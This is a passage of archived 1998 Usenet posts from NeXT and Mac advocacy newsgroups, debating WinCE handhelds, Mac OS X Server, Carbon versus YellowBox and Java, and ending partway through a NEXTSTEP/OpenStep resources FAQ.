(WWE), Japanese, German, French, Italian, Spanish,
Brazilian Portuguese, Dutch and Swedish.
Unicode makes this easier.
>>> What you want and what other want might differ -
>>> substantiallty. :)
>
>>What requires this color screen?
I wasn't specifically refering to the screen, rather the
whole list of features.
>> Wordprocessing? Spreadsheets?
>>Databases? Email? None of those.
Actually, yes. Especially working with a spreadsheet,
high resolutions is a big advantage.
>Webbrowsing maybe. Any estimates on what percentage
>of a normal Travelling Professional(tm)'s palmtop usage
>time is usually spent browsing?
It's guarateed to evolve into a everyday practice for many
now that you have access usable devices, like WinCE
HPCs.
>Oh, I forgot presentations. Quite some petty show on a Palmtop...
Well, depending on the driver and HW make I can soon
hook it up to a VGA screen or projector. I'm not sure
if anyone directly supports this today though.
>>I didn't feel the need for a PDA hard enough to buy one yet. What's
>>this "virtual writing" about? Sounds like a candidate for the
>>Computing Buzzword Prize...
It extends the use of non-liguistic signs to plain text
with things like sounds, graphics, icons and animation.
Makes it easier to communicate.
I didn't know that PalmOS had default support for
charracter recognicion -as you write below- (that is
you write a letter and the OS recognices it as
opposed to writing a letter and the OS just stores the
graphics) so it's probably something that can be
found there too.
>> Not really, we're talking about the ability to connect
>> your HPC directly to a printer or a network. This is
>> essential in your typical roaming business environment.
>
>On a network where you usually have a couple of desktop systems
>present you'd leave the hires rendering of a document to some
>palmtop instead of copying the file to a bigger machine?
Beeing dependent on a desktop is not always a good idea,
they're big, might not have the applications you need and
spare ones with a separate office are rare (office space is
always in short supply) especially at contractors. It's more
of an emergency meassurement than a desirable one.
>Hm. I'll probably never understand people who feel that much
>compelled to print on the plane. If they're that keen on
>getting the job done at the minute they might as well carry
>one of those bulky Librettos.
Again, convenience - less huzzle is better. There are
strict limits on what you're allowed to carry with you
the cabin. Usually an airline puts this limit to around
10-12 pounds, anything above that translates into extra
cost or service. So if your laptop comes in at, say,
4-5 pounds and you already have a bunch of other things
with you this limit can easily be exceeded.
They're not to happy about that.
>> WinCE in the from of a HPC is really geared towards
>> the advanced business traveler.
>
>Well learnt, this earns you a cookie from Bill.
Are you a business traveler? :)
>> How does you P3 handle device sharing over a company
>> network. Can it be done at all?
>
>Not that I knew of. What for? Acquiring amounts of data the
>computer can't handle?
More like being able to hook up to a network and use
printers and files there. The ability to install a network
printer and print directly over the company WAN alone
saves me a lot of huzzle with email and fax when I'm on
the move.
>> You don't, the 190MHz is needed for more powerful tasks.
>
>Like running a browser that sucks? It's just that Email was the
>only thing mentioned to work fine.
Well, have you tried Pocket Explorer?
>> WinCE supports 5 different filesystems, ROM, RAM and
>> FAT12/16/32, and can easily be scaled down by developers
>
>Including "lost chains" and such joys of Windoze?
That's mostly for compability. I can hook up a WinCE
to a desktop and have in run as a fileserver->client.
Neat, ain't it? :)
>What about transaction-oriented FSs like the Newton's (and
>AFAIK the Pilot's too)?
I'm not sure about present support but it should be
comparatibly easy to implement such things in WinCE.
Not sure.
>> as they like to reduce resource requirements. The new
>> new file system wrapper actually supports up to 256
>> filesystems.
>
>> How many does your P3 support?
>
> How many do you think my nonexistant P3 would need?
At once? Very few.
And that, my liege, is how we know the Earth to be
banana-shaped
:)
Regards...
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: Sat, 28 Nov 1998 09:42:36 -0800
Organization: University of British Columbia
Message-ID: <1dj75yk.1cdcr9p1ps5wnvN@p011.intchg1.net.ubc.ca>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca> <73lapb$i5q$1@news.digifix.com> <1dj5613.llb9kuisu5agN@p008.intchg2.net.ubc.ca> <73ntu4$h5r$1@news.digifix.com>
User-Agent: MacSOUP/2.4b4
Scott Anguish <sanguish@digifix.com> wrote, in reference to the
possibility that Mac OS X Server may be postponed so interminably as to
morph into Mac OS X:
> What exactly do you call Steve's note to Don Crabb that he was
> full of crap about it being cancelled?
It's difficult to be exact about such statements. What exactly do you
call Steve's proclamation, "Carbon -- all life forms depend on it"?
Sorry, couldn't resist. I too want Mac OS X Server to appear and the
Yellow Box to prosper.
--
Bruce Bennett
From: ALLEN <rosemax@tcts1.seed.net.tw>
Newsgroups: comp.sys.next.advocacy
Subject: How to duplicate NS system?
Date: Sun, 29 Nov 1998 02:35:36 +0800
Organization: SEEDNet News Service
Message-ID: <36604275.427F30EE@tcts1.seed.net.tw>
Mime-Version: 1.0
Content-Type: text/plain; charset=EUC-KR; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Hi.
I have a Turbo Color NeXTstation and it already installed NextStep
R3.3(I have no NextStep CD)
I want to move the whole system from the original 500Mb HD to a Quantum
1.2GB HD.
Can I do that?How to do...?
I afraid crash all system.
Thanks.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 28 Nov 1998 18:41:33 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73pg4t$49l@news1.panix.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com> <365F8F48.866F3FEB@nstar.net>
On Fri, 27 Nov 1998 23:51:04 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>but if the library were in Objective-C I suspect I'd be asked to do the
>same thing. No matter how "elegant" Obj-C is, it still doesn't satisfy
>our need for a quick, portable scripting layer.
You might want to check out "Objective Everything", it provided YB interfaces
for Perl, Python and WebScript.
Apple has also mentioned that AppleScript on OSX will provide scripting of
YB objects and Apps.
e?" when in fact, it is obvious from the DoD evidence that OpenDoc was
>an explicit target of Bill Gate's Microsoft Uber Alles campaign.
Why did Apple fight to keep QuickTime, but not fight to keep OpenDoc?
My guess is that QT is a core asset, that brings in money (via licenses)
and gives Apple both a presence and much needed credibility in the content
creation market.
You have to pick your fights very carefully.
>I think that it should be obvious that GX or any other universally
>available Apple graphics technology that does more than what Adobe would
>like is ALSO a forbidden technology.
Then why isn't QT "forbidden technology"? Why did Apple keep AppleScript
after MS ported VBA to MacOS?
>>In the past two years we have seen you move from denial to anger. The next
>>phase is depression and then finally acceptance. When you get to
>>acceptance,
>>come back to this newsgroup and I'm sure that all will be forgiven.
>Seems to me that it is YOU that are in denial over the political forces at
>work in dismantling the innovations that used to make Apple great.
<sarcasm>
Soylent Green is People! Soylent Green is People!
</sarcasm>
MS has been trying to kill off just about every competing technology. Those
that are "core products" are much harder to kill, because their owners are
willing to fight for them.
Ever read _Catch 22_? There is a scene where one of the soldiers has to
talk to a psychiatrist about his overwhelming sense of paranoia.
Soldier: "Doc, they're trying to kill me"
Doctor: "No one is trying to kill you..."
Soldier: "Then why are they shooting at me?"
Doctor: "They're not shooting at *you*, they're shooting at everyone... they're
not trying to kill you, they are trying to kill everyone. It's a war"
Soldier: "Doc, what in hell is the difference!?!"
No one is out to get you. Apple decided that GX was not a core asset, and not
worth keeping at the expense of other projects. The end effect might be the
same, it is your understanding of the motivation behind the action that
determines whether or not you are acting out of paranoia and/or delusion.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple - Star Wars connection
Date: Sat, 28 Nov 1998 10:34:29 -0800
Organization: Net Squared, Inc.
Message-ID: <73pgmk$347$1@your.mother.com>
References: <73o7eu$v2a$3@your.mother.com> <73p6ag$8k0$1@nnrp1.dejanews.com>
>> Now it appears that the first *major* upgrade to the Mac
>> operating system, MacOS X, will probably be released in
>> 1998 - the same year that the next Star Wars trilogy will begin.
> I doubt it will be released in 1998, the server version will come
> in 99. MacOS X will hopefully arive in 99, but based on Apples
> past I doubt it.
Oops. I was tired last night. I meant 1999.
Todd
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: The future of OS X Server is bleak
Message-ID: <nagleF35C6p.9vn@netcom.com>
Organization: ICGNetcom
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com> <365F8F48.866F3FEB@nstar.net>
Date: Sat, 28 Nov 1998 19:16:01 GMT
Sender: nagle@netcom6.netcom.com
"Michael J. Peck" <mjpeck@nstar.net> writes:
>Trust me, I acknowledge and understand your perspective, but still I
>don't find it compelling, nor do many programmers. Functionality and
>ubiquity trump elegance every day of the week and twice on Mondays. You
>might have noticed that Perl is anything but an elegant language.
Perl has a sort of elegance. For uglyness, compare TCL.
The big advantage of elegance is that you can get it to work.
You really do need elegance down at the bottom of APIs, or you
end up with mush on top. Look at Windows.
The Mac API started out rather elegant, but it's been downhill
since System 7.
John Nagle
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 28 Nov 1998 19:30:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73pj0c$53o@news1.panix.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net>
On Fri, 27 Nov 1998 19:14:28 GMT, Maury Markowitz
<maury@remove_this.istar.ca> wrote:
>In <365EE279.D5E5A5F2@ericsson.com> Michael Peck wrote:
>> The cross-browser functionality of Java programs is considerably
>> different from Java usage with a full-blown Java program.
> Absolutely, but as it stands the only time I ever run into Java is in the
>context of my browser.
That might have a lot to do with you opinion that xplatform doesn't work.
I worked on a stand alone Java app that is now in use by over 2k users for
a large bank based in New York. All development of the front end was done
on NT with Sun's JDK. All backend work was done on Solaris.
Last month I found out that over 80 of the users are running it on non-ms
platforms, none of which were tested or even evaluated during the development
process. (Five are running it on redhat Linux) They have had no complaints
and no mention was made on who is running on what. That is pretty close to
"just works" level compatibility.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 28 Nov 1998 19:30:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73pj0b$53o@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73h4t2$rd7$1@nnrp1.dejanews.com>
On Wed, 25 Nov 1998 14:40:39 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>But that's for when OSX comes out. Right now we're waiting for OSX Server.
>Given that OSX itself will be coming soon, and that traditional MacOS apps
>will only run in the blue box, one imagines that OSX Server sales won't be
>huge in any case. But why purposely cripple them with a high price?
I can think of a few reasons why Apple might want sales to be clustered in
the server and developer markets.
1) So the Mac press will review and compare it as a server OS, and not
a desktop OS. The UI isn't are warm and friendly to Mac users as the
finder. While sysadmins and programmers will take this in stride, many
end users (most notably the iMac crowd) will reject this and sour to
OSX.
2) It won't run on all Macs. Admins and developers will see this as a reason
to upgrade, and accept that new OSes might not run well (or at all) on
old hardware. End users will see this as Apple shafting them.
3) It won't have all the hardware support of MacOS8.x
4) Admins and developers know how to zap pram and set OF options in case there
are problems installing. And some even read manuals when they get stuck.
End users will clog the support lines.
(If you don't think number 4 is a problem, think back to some of the Linux
reviews of 1995 and 1996 when it was still a bear to install on some systems)
A $500+ price should scare away the "end users" (unfortunately, it will also
scare away a big chunk existing Apple developers, and most of the Linux crowd)
> A few
>more OSX Server sales will likely make no difference to traditional MacOS
>developers, but can make a big difference for YB developers, who have been
>running on fumes for years.
I gather that most of them would rather have YB/NT shipping than OSX Server.
Thier products tend to sell to "enterprise" clients, not Mac shops.
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.sys.next.advocacy
References: <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net>
Subject: Re: Do I have this right?
Message-ID: <iv_72.1710$CY1.7257627@news.itd.umich.edu>
Date: Sat, 28 Nov 1998 17:05:10 -0500
NNTP-Posting-Date: Sat, 28 Nov 1998 17:08:14 EDT
me@me.me wrote in message ...
>
>Mac OS X:
>
>Kernal:
> Mac OS X is based on the Mach kernal. That means it does not
> share OS code(memory managment, process scheduling, etc) with
> Mac OS.
Right, though some people are talking about some NuKernel (from Copland)
stuff being used.
>System:
> Mac OS X OS APIs are BSD Unix APIs. Mac OS binaries will not
> run natively.
There are three APIs that are of concern in OS X. One of them is BSD. Then
there are Carbon and YellowBox. Carbon is APIs ported from MacOS 8.x. Not
all of them are ported since MacOS 8.x has some that are bad for the new
environment and some new ones are added to take advantage of the new
features. YellowBox is basically the NeXTStep/OpenStep API. There's also
Java, but that can be considered as non-native. (I'm sure someone will point
out that Java, as programming language can be used to program native
YellowBox apps if I don't.)
>UI technology:
> Mac OS X UI is based on the NeXTstep/OpenStep APIs, not Mac
> OS api's. Carbon is an extra little library thrown in to allow
> recompilation on Mac OS X.
>
> The Mac UI look was implemented by adding a Mac style to
> the NeXTstep UI objects.
See above. NeXTStep/OpenStep API (aka YellowBox) and Carbon aren't limited
to UI stuff. Each set APIs have their own APIs to access the UI elements.
But you are right about YellowBox widgets being made to _look_ alike MacOS
widgets.
>What does this mean to Mac users?
>
> - you can run your old apps
> - your UI will look the same
> - you'll get a new, solid "modern" OS
- you can run old apps via BlueBox (If Apple chooses to ship it)
- you can run "Carbonized" apps which are old apps twicked to work and take
advantage of the modern features that came with Mach
- UI looks like MacOS 8.x, though they are planning to implement what's
known as "Advanced Look and Feel," which we don't know much detail about
other than that it'll have the "platnium" looking widgets.
- you'll get a new, solid "modern" OS as you've said.
>What does this mean to Mac Developers?
>
> - you can natively recompile your products using carbon
> - for new apps, you should learn the native OS X APIs
> - new apps written for the OS X APIs will also be able to
> be recompiled on NT (using OpenStep)
You need to distinguish what you mean by "native OS X APIs." As I've said,
there are now three different ones. I think when you said "native OS X
APIs," you mean the YellowBox. I think the idea is still to eventually move
all development onto YellowBox, but this is still a bit tricky. So far, no
major Mac developers have commited to doing apps with YellowBox. Since Mac
developers have their codebase in OS 8.x, they will simply carbonize their
apps and be done with it. It's sort of chick and egg question. Until some
major developer annouces move to YellowBox, Mac developers in general won't
be comfortable doing YellowBox apps. The number of developers are clearly
on the Carbon side right now. If after many years, there are very little
ammount of YellowBox apps, then Apple can choose to just junk it. This sort
of thing is nothing new from Apple. If the major developers like Adobe came
out with new major products on YellowBox, Apple won't be tempted to junk it.
But major developers aren't as likely to do new apps that often. I hope
they'll see the value in YellowBox over Carbon and start annoucing their
apps on YellowBox soon. However it turns out, I think it'll be slow
transition at best.
>What does this mean to NeXT users?
>
> - Mac OS X = NeXTstep with a Mac style UI
> - alot more apps
> - some UI stuff is hosed
I guess those are fair statements.
>What does this mean to NeXT developers?
>
> - eventualy, a market for NeXT/Mac OS X API work/products
> - more Java
They now have larger market to sell into. This also means more competition
from quite well established developers from the Mac side.
>What does this mean techonologically?
>
> - nothing new or interesting, but at least it's not
> NT or MS Windows APIs
Nothing new, but I wouldn't say nothing interesting. ;)
> - Java slowly replaces Objective-C, but both are technological
> dinosaurs.
Objective-C has been around for awhile. But I wouldn't say that it's
technological dinosaur. In reality Objective-C is only one generation
behind in computer programming language, if you want to be picky. And in
that case, the cutting edge may belong to Java depending on your opinion.
This is all subjective of course. Java as language isn't any better than
Objective-C in my opinion. And "write once, run anywhere" already existed
via OpenStep. Just not hyped as much and worked better than Java. ;)
- Jin
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: New date for OS X Server?
Newsgroups: comp.sys.next.advocacy
References: <01be1188$01ce14e0$06387880@chewy> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com> <365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com>
Message-ID: <36607fa3.0@news.depaul.edu>
Date: 28 Nov 98 22:56:35 GMT
Sal Denaro <sal@panix.com> wrote:
> On 26 Nov 98 04:22:28 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >> A better phrase would have "YB developers were thrown a curve, and now
> >> find themselves with a competing toolkit"
> >Why does this matter, exactly?
> One toolkit will bring over a ton of Apps that Apple users a) already know
> b) already own c) are sold by large Apple ISVs with a lot of market
> credibility in the publishing and content creation markets.
> YellowBox is not being given a "free ride" no matter when it ships. While YB
> Apps might sell in larger numbers to the larger MacOS market (when compared
> to the OpenStep market) I doubt that they will even make up 10% of the total
> App installed base within the first two years of OSX. I would wager that YB
> won't account for more than 50% of all Apps available or installed in the next
> five years.
The *same* obstacles are in store for *any* developer, Carbon *or*
YellowBox. A new Carbon word processor would have exactly the same
competitive situation as a new YellowBox word processor.
The problem is not Carbon. The problem is that MacOS is a mature
software market.
> I am not saying that Carbon is any way bad for OSX. I am saying that Carbon
> is bad for YB, IN THE SHORT TERM, since it gives users a reason to skip
> buying YB Apps, and wait for Carbon versions of Apps that they already own
> and use. It also gives Mac users a reason to skip over OSX Server and wait
> for OSX with Carbon to ship.
So basically you're saying that you think people should have to buy
YellowBox apps, regardless of their quality, utility, or other
advantages? Just *because* they're YellowBox? That's absurd.
> > Competing toolkits are GOOD. Choice is
> >GOOD.
> Win32 is a competing API, I don't think anyone would say that it's been good
> for Apple.
Win32 competes against MFC, Borland's C++ and Delphi API's, Java API's,
PowerBuilder API's, Python and Perl and everything else.
Microsoft has several API's that coexist: VB, VC++, VJ++, etc, and it's
not a big problem.
> >Having two toolkits would only be a threat if Apple weren't using
> >both toolkits to write OS X.
> I agree.
> >And without those competing apps, the developers would have no markets
> >to sell to. Catch-22.
> Again, I am not saying that Carbon is bad for OSX or for YB in the long
> term. It is bad for YB in the sort term. It has been stealing press from YB,
> and gives people a reason to doubt that YB isn't a long term plan or core
> asset.
Who cares about this? OS X doesn't *need* a lot of developer adoption
short term. When developers figure out that it's here to stay (which
for many can only be due to Apple's actions, not mere PR or announcements)
they will come on board, but only if it makes fiscal sense.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: jpolaski@wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Message-ID: <jpolaski-2811981720170001@d149-109.ce.mediaone.net>
References: <73iop0$29t@crab.afs.com> <73l8ps$6r6@crab.afs.com> <912185841.568838@watserv4.uwaterloo.ca> <73mpdp$a0o@crab.afs.com> <912196432.643557@watserv4.uwaterloo.ca> <73nq64$bo7@crab.afs.com>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Sat, 28 Nov 1998 17:20:17 -0600
NNTP-Posting-Date: Sat, 28 Nov 1998 17:20:17 CDT
In article <73nq64$bo7@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> David Evans wrote in message <912196432.643557@watserv4.uwaterloo.ca>...
> >In article <73mpdp$a0o@crab.afs.com>, Greg Anderson <greg@afs.com> wrote:
> >>
> >>One of the great things about being surrounded by Quakers is that the
> spirit
> >>of Steve Sarich never gets close enough to seize you.
> >
> > I hadn't considered this. Did you choose your location with this in
> mind?
>
> No, but I did choose my wife with this in mind. 8^) Actually, I grew up in
> the Greater Philadelphia area, moved to Washington DC to go to college, then
> regained my senses about a decade later and moved back.
>
> Greg
=======
You moved back to Philadedlphia...anywhere near Media, perhaps?
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <24666911710829@digifix.com>
Date: 29 Nov 1998 04:45:35 GMT
Organization: Digital Fix Development
Message-ID: <18755912315622@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
